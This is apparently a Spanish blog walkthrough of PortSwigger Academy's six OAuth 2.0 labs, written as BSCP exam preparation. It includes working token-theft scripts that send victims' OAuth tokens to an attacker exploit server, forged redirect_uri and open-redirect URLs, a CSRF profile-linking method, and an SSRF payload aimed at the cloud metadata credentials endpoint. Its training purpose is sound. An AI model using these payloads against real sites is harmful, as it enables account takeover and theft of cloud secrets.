PortSwigger Academy - Autenticación OAuth 2.0

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a autenticación OAuth 2.0. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Cada vez más sitios utilizan este tipo de mecanismos para autenticar usuarios: OAuth y/o OpenID Connect (OIDC). Además, algunos proveedores cloud como Microsoft utilizan OAuth para hacer llamadas entre APIs y servicios. Por ejemplo, desde Teams se pueden pedir tokens para SharePoint a través de OAuth, aunque no nos demos cuenta. Por ello, este post adquiere muchísima relevancia dado que es fundamental entender cómo funcionan estos mecanismos y saber auditarlos.

Lab1 (Apprentice) – Authentication bypass via OAuth implicit flow

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, log in to Carlos’s account. His email address is carlos@carlos-montoya.net.». En este laboratorio el objetivo es explotar vulnerabilidades en el proceso OAuth para obtener acceso como «carlos».

Comenzamos mapeando el proceso de autenticación. Para ello, iniciamos sesión como el usuario «wiener:peter» y evaluamos cómo esto tiene lugar. Cuidado, ya que debes incluir también en el Scope de Burp Suite Professional el endpoint OAuth:

Peticiones para el acceso mediante OAuth

Como vemos, al tener la extensión EsPReSSO habilitada, se marcan automáticamente las dos peticiones, la del sitio original «/social-login» que redirige al endpoint OAuth «/auth». Además, vemos en la petición enviada al servicio OAuth que el flow es implícito, al usarse el response_type «token»:

Por tanto, vemos que existen peticiones sucesivas para obtener los datos del proveedor OAuth (estas peticiones se ven también claramente). Entre estas peticiones, vemos una que claramente atañe a la creación de una sesión en el portal con la información obtenida del endpoint OAuth:

Petición para creación de sesión en la aplicación

Aunque pueda parecer que el token es quien crea la sesión, realmente esto no es así. Ese token es el «access_token» para intercambiar datos con la API del proveedor OAuth. Esto es, para obtener datos de ese servicio OAuth. Por tanto, la sesión se establece en base a otros parámetros (concretamente, a tener un access token válido y un email válido). Aunque necesitamos un token válido, podemos manipular el correo y nombre de usuario de la víctima (este no es estrictamente necesario), logrando acceder al panel de otro usuario. Simplemente reenvía la petición en Repeater y ábrela en el navegador:

Lab2 (Practicioner) – Forced OAuth profile linking

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use a CSRF attack to attach your own social media profile to the admin user’s account on the blog website, then access the admin panel and delete carlos.». En este laboratorio el objetivo es explotar vulnerabilidades en el proceso OAuth para obtener acceso como «administrator» y borrar el usuario «carlos».

En este caso, accedemos con las credenciales normales «wiener.peter» y vemos cómo es posible enlazar un perfil en una red social. Lanzamos dicho proceso e incluimos las credenciales, viendo todo el flujo:

Flujo de enlazado de perfil en red social

Lo realmente importante aquí no es la petición resaltada anteriormente, que también. Lo importante es que la petición enviada al endpoint OAuth no dispone de parámetro «state», que funciona como anti-CSRF. Fíjate en la petición enviada:

Así las cosas, si logramos enlazar ambos extremos, podemos explotar el laboratorio. Esto es seguir el siguiente flujo:

Accedemos como «wiener»
Damos click en «enlazar red social y seguimos todo el flujo, pero eliminamos la petición a «/oauth-linking», de modo que quede pendiente ese último paso
Salimos de la cuenta «wiener»
Generamos un exploit donde indicamos esa URL a la víctima para que acceda
Dado que la víctima tiene una sesión en la aplicación y que el token que le estamos enviando es el de nuestra red social, se enlazará NUESTRA red social con SU cuenta en la aplicación web
Como no existe un parámetro state asociado a la cuenta de «wiener» en este caso, el servidor no tiene manera de saber si el flujo lo inició «wiener» y lo termina «administrator» o si está bien. Es decir, hay una especie de CSRF donde nosotros iniciamos un flujo que termina «administrator»
Accedemos como «peter.wiener» y nos loggea como administradores

Petición de enlazado a eliminar y reenviar a la víctima

Ahora, simplemente borra el usuario «carlos».

Lab3 (Practicioner) – OAuth account hijacking via redirect_uri

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user carlos.». En este laboratorio el objetivo es explotar vulnerabilidades en el proceso OAuth para obtener acceso como «administrator» y borrar el usuario «carlos».

Al igual que en otros laboratorios, comenzamos mapeando las peticiones enviadas cuando se inicia sesión con la cuenta en la red social. Vemos que el flujo es el normal para autenticación OAuth.

Tenemos la siguiente URL en el proceso OAuth:

https://oauth-0ac0008503097b2b80800b19025400f9.oauth-server.net/auth?client_id=mk10pq4tpipkqnk2o4dev&redirect_uri=https://0a6f009b03517b2380780d1600b000a2.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email

Además, tenemos la siguiente llamada posteriormente, como es de esperar debido al «redirect_uri»:

https://0a6f009b03517b2380780d1600b000a2.web-security-academy.net/oauth-callback?code=SD-UMdbLEgpYZVkE576iO-6V3yFgz0A6ktLcIOBdah1

Lo que haremos (y deberíamos probar siempre en flujos OAuth) es a cambiar la «redirect_uri». Idealmente, el servidor de autorización (en este caso, la red social) debería de comprobar de algún modo que el «redirect_uri» que le pasamos en la URL coincide con el que él tiene marcado para esta aplicación. Sin embargo, como veremos en este caso, podemos incluir un «redirect_uri» arbitrario:

https://oauth-0ac0008503097b2b80800b19025400f9.oauth-server.net/auth?client_id=mk10pq4tpipkqnk2o4dev&redirect_uri=https://exploit-0a690051036b7b0a80e00c5301af00c8.exploit-server.net/exploit&response_type=code&scope=openid%20profile%20email

Si lanzamos esta URL al usuario víctima, al estar loggeado ya (si no, tendría que hacer el login), el flujo OAuth se completará en el servidor de autorización y redirigirá al usuario a nuestro servidor malicioso, donde adjuntará su token:

Mandamos el exploit a la víctima, que entrará a través del iframe al servicio de autorización y hará una petición a nuestro servidor con su token:

Obtención de código en servidor atacante

Y, finalmente, lo «canjearemos» nosotros a través de la siguiente URL, accediendo a ella (acuérdate de cerrar la sesión anterior).

https://0a6f009b03517b2380780d1600b000a2.web-security-academy.net/oauth-callback?code=AMBT3h21QtdwPVze9igkScjWvgS9C7AyLhjcsrvrNs-

Finalmente, borra el usuario «carlos» y… ¡¡Laboratorio resuelto!!

Lab4 (Practicioner) – Stealing OAuth access tokens via an open redirect

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.». En este laboratorio el objetivo es explotar vulnerabilidades en el proceso OAuth para obtener acceso como «administrator» y obtener su API Key.

Al igual que en el caso anterior, podemos enviarle a la víctima el enlace de autorización OAuth. Sin embargo, en este caso, no podemos usar un «redirect_uri» arbitrario, dado que no es posible. Comenzamos mapeando el proceso de inicio de sesión SSO, como en otros laboratorios:

Dado que no podemos utilizar un «redirect_uri» que se encuentre fuera del sitio web actual, podemos aplicar la técnica de enviar una URL con vulnerabilidad de Open Redirect. Esto es, una URL del sitio original que redirigirá al usuario a nuestro endpoint malicioso de forma automática. Identificamos una vulnerabilidad de Open Redirect de manera rápida en el botón «Next post», que aparece cuando vamos a cualquier post. Si hacemos click en él, podemos ver la URL generada:

Y, cambiando el path por una URL arbitraria, vemos que podemos redirigir al usuario:

Así las cosas, forjamos una URL de autorización OAuth fraudulenta que envíe al usuario a nuestro servidor atacante a través de este Open Redirect. Fíjate que el «redirect_uri» en este caso es una URL original del sitio, pero redirigirá automáticamente al usuario:

https://oauth-0ada003104d9178e827313aa02a8000e.oauth-server.net/auth?client_id=rhy7tv5tj82ayg7s97mbh&redirect_uri=https://0a7b00f7045217ea829e1545009e004d.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0acd005004ef171e82e114a501c000d3.exploit-server.net/exploit&response_type=token&nonce=1048535255&scope=openid%20profile%20email

Generamos esta URL y la probamos en nuestro navegador.

Tal como podemos ver, tenemos lo que queremos, al usuario haciendo una petición a nuestro «Exploit Server». Ahora, finalmente, usamos un pequeño script para extraer el valor después del hash «#» y redirigir al usuario a dicho valor. De ese modo, se quedará registrado en el access log:

<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-0ada003104d9178e827313aa02a8000e.oauth-server.net/auth?client_id=rhy7tv5tj82ayg7s97mbh&redirect_uri=https://0a7b00f7045217ea829e1545009e004d.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0acd005004ef171e82e114a501c000d3.exploit-server.net/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

Se lo mandamos a la víctima y accedemos al log de acceso:

Obtención de access token del usuario víctima

Y, finalmente, enviando una petición al endpoint «/me», tal como se puede ver para el usuario «wiener» pero con el nuevo access token hace que obtengamos los datos del usuario víctima:

Con esa API Key, solo nos queda enviarla como solución al laboratorio. Fíjate que la API Key no es visible en el HTML, pero sí en las llamadas al endpoint de autorización OAuth.

Lab5 (Expert) – Stealing OAuth access tokens via a proxy page

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.». En este laboratorio el objetivo es explotar vulnerabilidades en el proceso OAuth para obtener acceso como «administrator» y obtener su API Key.

De nuevo, comenzamos mapeando la aplicación y vemos que el flujo de login con el proveedor OAuth es el mismo que en laboratorios anteriores:

No obstante, en este caso no disponemos de la vulnerabilidad de Open Redirect, por lo que no podremos explotarla. Sin embargo, el parámetro «redirect_uri» sigue siendo vulnerable a Path Traversal. Por ello, necesitamos encontrar otra vulnerabilidad que nos permita redirigir o hacer que el usuario haga peticiones a nuestro sitio malicioso. Nos fijamos en cómo está montada la funcionalidad de enviar comentarios:

Tal como vemos, los comentarios no son más que un iframe en la web original. Dentro de ese iframe, además, se envían mensajes a la ventana padre, pero lo mejor es que se envía a todos los orígenes («*»):

Así las cosas, si logramos meter ese contenido en un iframe desde nuestra web, nos enviará datos de manera arbitraria. Por tanto, podemos construir el siguiente contenido HTML/JS para obtener los datos enviados a través de Web Messages:

<iframe src="https://oauth-0a8c00d204d2d06781c1693f02b3006b.oauth-server.net/auth?client_id=tn8cwnv9n29gghto3um41&redirect_uri=https://0a7f0030043dd01281db6b9600550095.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=1302279344&scope=openid%20profile%20email"></iframe>

<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>

El script anterior es muy sencillo. Simplemente redirigimos al usuario al endpoint de posteo de comentarios y, dado que este enviará la URL a la ventana padre, nos la mandará al «Exploit Server» que es desde donde se está cargando. Guardamos el script y se lo lanzamos a la víctima. Finalmente, accedemos al access log del «Exploit Server»:

Y para terminar, obtenemos la API Key del endpoint «/me».

Lab6 (Practicioner) – SSRF via OpenID dynamic client registration

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, craft an SSRF attack to access http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ and steal the secret access key for the OAuth provider’s cloud environment.». En este laboratorio el objetivo es explotar vulnerabilidades en el proceso OAuth para obtener acceso a metadatos de la instancia.

Comenzamos mapeando el inicio de sesión de la aplicación y vemos que se utiliza OpenID Connect (OIDC):

Accedemos a la configuración de OpenID Connect en su ruta por defecto:

Endpoint de registro de client applications

Como se puede apreciar, se pueden registrar «client applications» para usar el servicio de OpenID Connect. Normalmente, se requiere autenticación para este endpoint. Sin embargo, podemos probar a registrar una aplicación de manera arbitraria. Fíjate cómo incluimos una URL para el logo asociada a Burp Collaborator, con el objetivo de saber si el servidor lo obtiene de nuestro lado:

POST /reg HTTP/1.1
Host: oauth-0a7a00e103569db281e66e9702610091.oauth-server.net
Content-Type: application/json

{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "https://9y801ipt8nwzex2bttuj9mtdd4jv7lva.oastify.com"
}

Ahora, dado que tenemos el client_id de la aplicación, podemos tratar de obtener su logo, tal cual se hizo en el primer flujo de inicio de sesión, donde se nos presentó un logo a la hora de autorizar permisos. Si nos fijamos, la URL se construye así:

https://oauth-0a7a00e103569db281e66e9702610091.oauth-server.net/client/<client_id>/logo

Así las cosas, para obtener acceso a los metadatos de la instancia que aloja el servicio OpenID Connect, podemos usar el siguiente registro de aplicación cliente. Al intentar obtener su logo, el servidor OpenID Connect hará una petición a su endpoint de metadatos, lanzando nuestro payload:

POST /reg HTTP/2
Host: oauth-0a7a00e103569db281e66e9702610091.oauth-server.net
Content-Type: application/json
Content-Length: 141

{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

Y, tras registrar la aplicación, accedemos al logo:

Para solucionar el laboratorio, debemos finalmente subir la secret access key como solución.

~km0xu95